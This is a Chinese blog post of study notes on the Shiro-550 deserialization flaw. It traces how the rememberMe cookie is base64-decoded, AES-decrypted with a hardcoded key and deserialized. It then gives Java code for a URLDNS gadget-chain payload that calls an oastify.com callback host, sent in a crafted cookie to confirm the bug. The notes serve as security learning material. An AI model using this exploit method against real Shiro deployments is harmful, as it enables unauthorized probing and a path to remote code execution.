首页 > 其他分享 >shiro550

shiro550

时间:2022-11-28 15:03:20浏览次数:85  
标签:cipherService 加密 encrypted decrypt shiro550 byte 序列化

0x00前言

结束了cc链的学习,准备学习一手shiro反序列化漏洞嘛,这个漏洞其实出现了蛮久了是这两年攻防才把它逐渐的提上来,也大概知道这个漏洞的原理就是加迷是用的aes而且密钥是固定的,然后又会解密反序列化操作,如果密钥被知道了就会造成反序列化漏洞。
前面cc链的笔记写得比较白话一点,主要是给自己记录一下,然后后面自己也懒就没有再仔细的写了,大多都写的自己不懂的地方,后面到shiro的话就写得会仔细一点,方便自己以后查阅吧。

环境搭建:

  1. jdk8u65:https://www.oracle.com/java/technologies/downloads/archive/
  2. tomcat:Apache Tomcat® - Apache Tomcat 8 Software Downloads
  3. 配置的话建议直接用p神搭建好的shirodemo方便快捷:GitHub - phith0n/JavaThings: Share Things Related to Java - Java安全漫谈笔记相关内容

下好p神的demo后设置里面增加应用程序,把tomcat增加进去

image-20221116130717558

然后在编辑配置:image-20221116130802327

0x01分析

数据包分析

我们还是从一个漏洞发现者的角度来发现这个漏洞而不是调试的心态,先要根据我们了解的漏洞原理应该是shrio组件在对用户输入的账号密码

在我们提交选择登录的时候然后输入账号密码

image-20221116184858617

image-20221116184913200

都会返回一个cookie然后我无论操作什么等会带着这个cookie

image-20221116185010032

Cookie源码段分析

这就是cookie的功能相当于保存密码一样,在java中这种的存在一般就是序列化和反序列化来实现的,我们就去看一下shiro对这个cookie的管理,直接找到一个名字就很舒服的类CookieRememberMeManager,在这个类里面找到一个方法getRememberedSerializedIdentity这个名字就很好读起来就是"获取序列化化后的身份认证信息

image-20221116220735422

大概就是判断是不是http请求不是的化返回null,是的化获取cookie值,然后进行base64解码。往上看谁调用了这个函数找到了一个接口方法

image-20221116222042536

然后继续找到实现方法,在方法getRememberedPrincipals找到了调用

image-20221116223555675

在这里把我们base64解码后的信息赋值给一个byte数组然后,用convertBytesToPrincipals去处理这个数组追进去这个函数

image-20221116224139813

decrypt解密的分析

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

这去获取加密服务

cipherService.decrypt(encrypted, getDecryptionCipherKey());这个方法看一下参数

image-20221116231352887

第一个参数是解密的,后面是加密解密的key,跟进去这个方法跟到setDecryptionCipherKey

image-20221116231909471

追踪调用到setCipherKey(byte[] cipherKey)然后找调用方法image-20221116232032842

在这个setCipherKey方法中看到这个这个方法后面那个大写的应该就是我们要找的密钥了image-20221116232114366

image-20221116232325382

最后跟进来找到一个final的变量image-20221116232343337

在这找的这个加密的key。

crypt加密过程解析

我们知道了key是固定的以后在前面看到那个反序列化的函数,在前面那个函数哪里进入到序列化的函数里面

image-20221117092736506

跟进函数后在找到接口

image-20221117092927394发现有两个实现方法,两个都是shiro包的对象,然后发现两个对象调用的反序列化都是原生的readObject,这个就是比较好的入口点了

image-20221117093040967

说实话我很想去自己跟踪一遍整个加密流程,但是我调试了一遍后发现自己猪脑过载了,大概读了一下

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

在这里调用了CipherService.decrypt()跟进去看了整个方法,跟进实现image-20221117093953960

image-20221117094039295

跟进去看了一遍我猪脑过载也没看懂,大概就是这是个对称加密嘛(因为只用了一个key进行加密解密),然后整个key是固定,反序列化的流程是先base64解密,然后AES解密然后反序列化。理论成立开始实战。

0x02构造payload

利用链的话选择URLdns链吧,链子的话就用以前的链子

public class URLDNSEXP {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://jj60ukmu3tpbfoo4v70uc3725tbjz8.oastify.com");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        //unserialize("ser.bin");
    }

序列化数据进去dnslog是用bp启动的,然后把序列化后的字符串给python脚本加密最后输出的值

image-20221117173408784

然后拿着我们的值去包里面改值

image-20221117174458760

image-20221117174242702

把值贴上去以后发送包,发现了请求出现

0x03小结

本篇笔记主要是用来记录shiro的原理,后续的利用应该是没学习到的cb链子和cc11

标签:cipherService,加密,encrypted,decrypt,shiro550,byte,序列化
From: https://www.cnblogs.com/0x3e-time/p/16932218.html

相关文章